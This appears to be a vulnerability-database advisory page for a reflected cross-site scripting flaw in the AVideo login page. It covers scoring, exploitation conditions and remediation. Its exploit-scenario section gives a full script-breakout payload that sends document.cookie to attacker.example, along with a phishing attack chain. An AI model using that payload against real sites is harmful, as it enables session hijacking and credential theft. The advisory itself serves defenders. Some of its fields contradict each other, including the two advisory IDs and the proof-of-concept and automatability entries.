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WWBN AVideo EUVDEUVD-2026-71000

| CVE-2026-85577 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-04 VulnCheck GHSA-6r7w-x557-3659
5.3
CVSS 4.0 · Vendor: VulnCheck
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious userLogin.php URL with </script> XSS payload
  2. Delivery
    Deliver URL to AVideo user via phishing or social engineering
  3. Exploit
    Victim navigates to crafted login page
  4. Execution
    Script block breaks out, attacker JavaScript executes in victim browser
  5. Persist
    Exfiltrate session cookies or render credential-phishing overlay
  6. Impact
    Attacker gains authenticated session or captured credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

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Exploitation Conditions

The attacker must deliver a crafted URL containing the malicious error parameter payload to a victim who then visits it in a browser with an active or future AVideo session - victim user interaction is required (UI:P in CVSS 4.0). No attacker authentication is required; the vulnerability is exploitable against the unauthenticated login page endpoint. The specific condition enabling exploitation is the lack of HTML output encoding for the error parameter when reflected inside a script block in userLogin.php. Exploitation impact is limited by: (1) victim must follow the attacker-controlled link, (2) browser-enforced HttpOnly cookies prevent theft of session tokens if properly configured, and (3) a strict CSP policy would block inline script execution. AVideo instances behind authentication proxies that prevent public access to the login page are not directly exposed.

Impact

The CVSS 4.0 score of 5.3 (Medium) reflects the attack's network reachability and zero-privilege requirement, tempered by mandatory user interaction (UI:P) and limited VC:L/VI:L impact. Real-world risk hinges on whether AVideo session cookies carry the HttpOnly flag - without it, the injected script can trivially exfiltrate authenticated session tokens, escalating practical impact well above the Medium classification. The login page attack surface is particularly sensitive because attackers can craft phishing-grade overlays that harvest credentials before the real form submits. No EPSS data was provided; no KEV listing exists. CVSS 3.1 equivalent would score approximately 6.1 (Medium, S:C/UI:R). The attack is trivially automatable once a target email or chat handle is known, making it suitable for targeted phishing against AVideo administrators. Absence of a confirmed patched version in the advisory data is a notable gap for defenders assessing remediation urgency.

Exploit ScenarioDerived

An attacker identifies an AVideo instance and constructs a URL to userLogin.php with the error parameter set to a payload such as </script><script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The attacker delivers this URL to a target AVideo administrator via phishing email or social media. When the administrator clicks the link and the login page renders, the injected script executes in their browser, exfiltrating their session cookie to the attacker's collection server. No public proof-of-concept exploit code has been confirmed beyond the advisory's description of the technique.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.3% exploitation probability (EPSS)

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AnalysisAIv1 – Sep 04, 2026

Reflected cross-site scripting in AVideo's userLogin.php allows unauthenticated attackers to inject and execute arbitrary JavaScript in a victim's browser by crafting a malicious URL with a script-breakout payload in the error parameter. The attack targets any user who follows the crafted link to the AVideo login page, enabling session hijacking, credential phishing overlays, or browser-based actions on behalf of the victim. No active exploitation (CISA KEV) is recorded and no public exploit code has been independently confirmed beyond the security advisory description.

RemediationAI

The primary fix is to upgrade AVideo to any commit after c91b5975d that addresses output encoding in userLogin.php; consult the vendor advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-v654-6qw8-pc33 for the exact patched release tag, as no specific version number was confirmed in the available data. As an interim compensating control, deploying a Content Security Policy (CSP) header with a strict script-src directive (e.g., script-src 'self') on the login page will prevent injected inline scripts from executing, though this may break legitimate inline scripts that have not been nonce-tagged. Additionally, setting session cookies with the HttpOnly flag eliminates the most common post-XSS impact (cookie theft), reducing the attack's effective severity while the patch is applied. Web Application Firewall rules blocking </script> in query-string parameters can reduce automated scanning risk but should not be relied upon as a primary defense.

Affected VersionsENISA

AVideo 0 ≤c91b5975d

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Technical ContextAI · show details

AVideo is a PHP-based open-source video platform maintained under the WWBN organization (CPE: cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*). The vulnerability is CWE-79 (Improper Neutralization of Input During Web Page Generation) in userLogin.php, where the error GET parameter is reflected directly into a script block context without HTML-encoding or output sanitization. The specific breakout technique uses the </script> closing tag sequence to prematurely terminate the enclosing JavaScript block, allowing the attacker to inject a new arbitrary script element. This is a textbook reflected (Type-1) XSS pattern made possible by missing context-aware output encoding in server-side PHP template rendering.

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Severity by source

Vendor (VulnCheck) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.1 MEDIUM

Reflected XSS requires victim to follow crafted URL (UI:R), scope changes to browser context (S:C), with limited confidentiality/integrity impact and no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

AVideo through commit c91b5975d contains a reflected cross-site scripting vulnerability in userLogin.php that allows unauthenticated attackers to inject arbitrary JavaScript by closing the script tag with </script>. Attackers can craft a malicious URL with an error parameter containing script breakout sequences to execute arbitrary JavaScript in the victim's browser context on the login page.

Threat Intelligence Overview

EPSS Score
0.3%
Top 83% exploitable
Prevalence
Medium
open-source self-hosted video platform, moderate community adoption
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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